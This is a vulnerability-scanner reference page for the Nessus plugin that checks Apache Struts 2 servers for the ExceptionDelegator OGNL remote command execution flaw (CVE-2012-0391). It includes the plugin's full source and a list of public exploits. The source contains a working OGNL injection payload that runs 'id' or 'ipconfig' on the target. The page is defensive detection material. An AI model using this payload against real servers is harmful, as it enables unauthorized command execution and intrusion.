Apache Struts 2 ExceptionDelegator Arbitrary Remote Command Execution - Nessus

High Plugin ID: 69240

This page contains detailed information about the Apache Struts 2 ExceptionDelegator Arbitrary Remote Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

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Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 69240
Name: Apache Struts 2 ExceptionDelegator Arbitrary Remote Command Execution
Filename: struts_exceptiondelegator_command_execution.nasl
Vulnerability Published: 2011-08-05
This Plugin Published: 2013-08-07
Last Modification Time: 2022-04-11
Plugin Version: 1.21
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: http_version.nasl, os_fingerprint.nasl, webmirror.nasl

Vulnerability Information

Severity: High
Vulnerability Published: 2011-08-05
Patch Published: 2011-09-05
CVE [?]: CVE-2012-0391
CPE [?]: cpe:/a:apache:struts

Synopsis

The remote web server contains a web application that uses a Java framework that is affected by a remote command execution vulnerability.

Description

The remote web application appears to use Struts 2, a web framework that utilizes OGNL (Object-Graph Navigation Language) as an expression language. Due to an error in the way that the ExceptionDelegator component handles mismatched data types, an unauthenticated, remote attacker can execute arbitrary commands on the remote host by sending a specially crafted request order. This flaw is due to the ExceptionDelegator interpreting parameter values as OGNL expressions when there is a conversion error.

Note that this plugin will only report the first vulnerable instance of a Struts 2 application.

Solution

Upgrade to version 2.2.3.1 or later.

Public Exploits

Target Network Port(s): 80, 8080
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, GitHub, Immunity Canvas)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Apache Struts 2 ExceptionDelegator Arbitrary Remote Command Execution vulnerability:

Metasploit: exploit/multi/http/struts_code_exec
[Apache Struts Remote Command Execution]
Metasploit: exploit/multi/http/struts_code_exec_exception_delegator
[Apache Struts Remote Command Execution]
Exploit-DB: exploits/multiple/remote/18984.rb
[EDB-18984: Apache Struts 2.2.1.1 - Remote Command Execution (Metasploit)]
GitHub: https://github.com/SexyBeast233/SecBooks
[CVE-2012-0391]
GitHub: https://github.com/TesterCC/exp_poc_library
[CVE-2012-0391]
GitHub: https://github.com/woods-sega/woodswiki
[CVE-2012-0391]
Immunity Canvas: D2ExploitPack

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS Score Source [?]: CVE-2012-0391
CVSS V2 Vector: AV:N/AC:M/Au:N/C:C/I:C/A:C/E:H/RL:OF/RC:C

CVSS Base Score:	9.3 (High)
Impact Subscore:	10.0
Exploitability Subscore:	8.6
CVSS Temporal Score:	8.1 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	8.1 (High)

CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:H/RL:O/RC:C

CVSS Base Score:	8.8 (High)
Impact Subscore:	5.9
Exploitability Subscore:	2.8
CVSS Temporal Score:	8.4 (High)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	8.4 (High)

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Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(69240);
  script_version("1.21");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-2012-0391");
  script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/07/21");

  script_name(english:"Apache Struts 2 ExceptionDelegator Arbitrary Remote Command Execution");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a web application that uses a Java
framework that is affected by a remote command execution
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote web application appears to use Struts 2, a web framework
that utilizes OGNL (Object-Graph Navigation Language) as an expression
language. Due to an error in the way that the ExceptionDelegator
component handles mismatched data types, an unauthenticated, remote
attacker can execute arbitrary commands on the remote host by sending
a specially crafted request order. This flaw is due to the
ExceptionDelegator interpreting parameter values as OGNL expressions
when there is a conversion error. 

Note that this plugin will only report the first vulnerable instance
of a Struts 2 application.");
  # https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20120104-0_Apache_Struts2_Multiple_Critical_Vulnerabilities.txt
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?828dc6d2");
  script_set_attribute(attribute:"see_also", value:"http://struts.apache.org/docs/s2-007.html");
  script_set_attribute(attribute:"see_also", value:"http://struts.apache.org/docs/s2-008.html");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 2.2.3.1 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2012-0391");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Apache Struts Remote Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:"D2ExploitPack");

  script_set_attribute(attribute:"vuln_publication_date", value:"2011/08/05");
  script_set_attribute(attribute:"patch_publication_date", value:"2011/09/05");
  script_set_attribute(attribute:"plugin_publication_date", value:"2013/08/07");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:apache:struts");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2013-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("http_version.nasl", "webmirror.nasl", "os_fingerprint.nasl");
  script_require_ports("Services/www", 80, 8080);

  exit(0);
}

include("http.inc");
include("torture_cgi.inc");
include("url_func.inc");

port = get_http_port(default:8080);
cgis = get_kb_list('www/' + port + '/cgi');

urls = make_list();
# To identify actions that we can test the exploit on we will look
# for files with the .action / .jsp / .do suffix from the KB.
if (!isnull(cgis))
{
  foreach cgi (cgis)
  {
    match = pregmatch(pattern:"((^.*)(/.+\.act(ion)?)($|\?|;))", string:cgi);
    if (match)
    {
      urls = make_list(urls, match[0]);
      if (!thorough_tests) break;
    }
    match2 = pregmatch(pattern:"(^.*)(/.+\.jsp)$", string:cgi);
    if (!isnull(match2))
    {
      urls = make_list(urls, match2[0]);
      if (!thorough_tests) break;
    }
    match3 = pregmatch(pattern:"(^.*)(/.+\.do)$", string:cgi);
    if (!isnull(match3))
    {
      urls = make_list(urls, match3[0]);
      if (!thorough_tests) break;
    }
    if (cgi =~ "struts2?(-rest)?-showcase")
    {
      urls = make_list(urls, cgi);
      if (!thorough_tests) break;
    }
  }
}
if (thorough_tests)
{
  cgi2 = get_kb_list('www/' + port + '/content/extensions/act*');
  if (!isnull(cgi2)) urls = make_list(urls, cgi2);

  cgi3 = get_kb_list('www/' + port + '/content/extensions/jsp');
  if (!isnull(cgi3)) urls = make_list(urls, cgi3);

  cgi4 = get_kb_list('www/' + port + '/content/extensions/do');
  if (!isnull(cgi4)) urls = make_list(urls, cgi4);
}

# Always check web root
urls = make_list(urls, "/");

# Struts is slow
timeout = get_read_timeout() * 2;
if(timeout < 10)
  timeout = 10;
http_set_read_timeout(timeout);

urls = list_uniq(urls);

# Determine which command to execute on target host
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) cmd = 'ipconfig';
  else cmd = 'id';

  cmds = make_list(cmd);
}
else cmds = make_list('id', 'ipconfig');

vuln = FALSE;
foreach url (urls)
{
  # Grab CGI arguments for each .action file from KB
  cgi_args = get_cgi_arg_list(port:port, cgi:url);

  foreach cmd (cmds)
  {
    attack = "";
    exploit = "'+(#_memberAccess[" + '"allowStaticMethodAccess"]=true,' +
      "@java.lang.Runtime@getRuntime().exec('" + cmd + "'))+'";

    # Build a string with all CGI arguments set to the exploit string
    foreach arg (cgi_args)
    {
      attack += arg + "=" + exploit + "&";
    }
    attack = ereg_replace(string:attack, pattern:"&$", replace:"");
    attack_url = url + "?" + attack;

    # Try testing with GET first
    # attack_url should look like this example :
    # /dir/blah.action?param='+(#memberAccess["allowStaticMethodAccess"]=true,
    # @java.lang.Runtime@getRuntime().exec('id'))+'
    res = http_send_recv3(
      method : "GET",
      item   : attack_url,
      port   : port,
      exit_on_fail : TRUE
    );

    if (res[2] =~ 'value="java\\.lang\\.(UNIX)?Process(Impl)?@(.+)" id=')
    {
      vuln = TRUE;
      vuln_url = build_url(qs:attack_url, port:port);
      output = res[2];
      break;
    }

    # Else try testing with POST
    attack_post = urlencode(
      str        : attack,
      unreserved : "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234" +
                   "56789=&_."
    );

    res2 = http_send_recv3(
      method : "POST",
      item   : url,
      data   : attack_post,
      port   : port,
      add_headers : make_array("Content-Type",
        "application/x-www-form-urlencoded"),
      exit_on_fail : TRUE
    );

    if (res2[2] =~ 'value="java\\.lang\\.(UNIX)?Process(Impl)?@(.+)" id=')
    {
      vuln = TRUE;
      vuln_url = http_last_sent_request();
      output = res2[2];
      break;
    }
  }
  # Stop after first vulnerable Struts app is found
  if (vuln) break;
}

if (!vuln) exit(0, 'No vulnerable applications were detected on the web server listening on port '+port+'.');

security_report_v4(
  port       : port,
  severity   : SECURITY_HOLE,
  generic    : TRUE,
  request    : make_list(vuln_url),
  output     : chomp(output)
);

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/struts_exceptiondelegator_command_execution.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\struts_exceptiondelegator_command_execution.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/struts_exceptiondelegator_command_execution.nasl

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How to Run

Here is how to run the Apache Struts 2 ExceptionDelegator Arbitrary Remote Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select Apache Struts 2 ExceptionDelegator Arbitrary Remote Command Execution plugin ID 69240.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl struts_exceptiondelegator_command_execution.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a struts_exceptiondelegator_command_execution.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - struts_exceptiondelegator_command_execution.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state struts_exceptiondelegator_command_execution.nasl -t <IP/HOST>

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References

See also:

Similar and related Nessus plugins:

66935 - Apache Struts 2 Crafted Parameter Arbitrary OGNL Expression Remote Command Execution
66931 - Apache Struts 2 OGNL Expression Handling Double Evaluation Error Remote Command Execution
68981 - Apache Struts 2 'action:' Parameter Arbitrary Remote Command Execution
70168 - Apache Struts 2 'action:' Parameter Prefix Security Constraint Bypass
73203 - Apache Struts 2 'class' Parameter ClassLoader Manipulation
119728 - Apache Struts 2 'method:' Prefix Arbitrary Remote Command Execution
90152 - Apache Struts 2 Tag Attribute Double OGNL Evaluation RCE
91811 - Apache Struts 2 REST Plugin OGNL Expression Handling RCE
102918 - Apache Struts 2.3.x Struts 1 plugin RCE (remote)
97610 - Apache Struts 2.3.5 - 2.3.31 / 2.5.x < 2.5.10.1 Jakarta Multipart Parser RCE (remote)
102977 - Apache Struts 2 REST Plugin XStream XML Request Deserialization RCE
112064 - Apache Struts CVE-2018-11776 Results With No Namespace Remote Code Execution (S2-057) (remote)
144365 - Apache Struts 2.x < 2.5.26 RCE (S2-061) (direct check)
57691 - Apache Struts 2 Multiple Remote Code Execution and File Overwrite Vulnerabilities (safe check) (deprecated)
57850 - Apache Struts 2 ParameterInterceptor Class OGNL Expression Parsing Remote Command Execution
47900 - Apache Struts 2 / XWork Remote Code Execution (safe check)
117997 - KB4462917: Windows 10 Version 1607 and Windows Server 2016 October 2018 Security Update
117998 - KB4462918: Windows 10 Version 1709 and Windows Server Version 1709 October 2018 Security Update
117999 - KB4462919: Windows 10 Version 1803 and Windows Server Version 1803 October 2018 Security Update
118000 - KB4462922: Windows 10 October 2018 Security Update
118001 - KB4462915: Windows 7 and Windows Server 2008 R2 October 2018 Security Update
118002 - KB4462941: Windows 8.1 and Windows Server 2012 R2 October 2018 Security Update
118003 - KB4462931: Windows Server 2012 October 2018 Security Update
118004 - KB4462937: Windows 10 Version 1703 October 2018 Security Update
118005 - KB4463104: Windows Server 2008 October 2018 Security Update
118006 - KB4464330: Windows 10 Version 1809 and Windows Server 2019 October 2018 Security Update

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file struts_exceptiondelegator_command_execution.nasl version 1.21. For more plugins, visit the Nessus Plugin Library.

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Apache Struts 2 ExceptionDelegator Arbitrary Remote Command Execution - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

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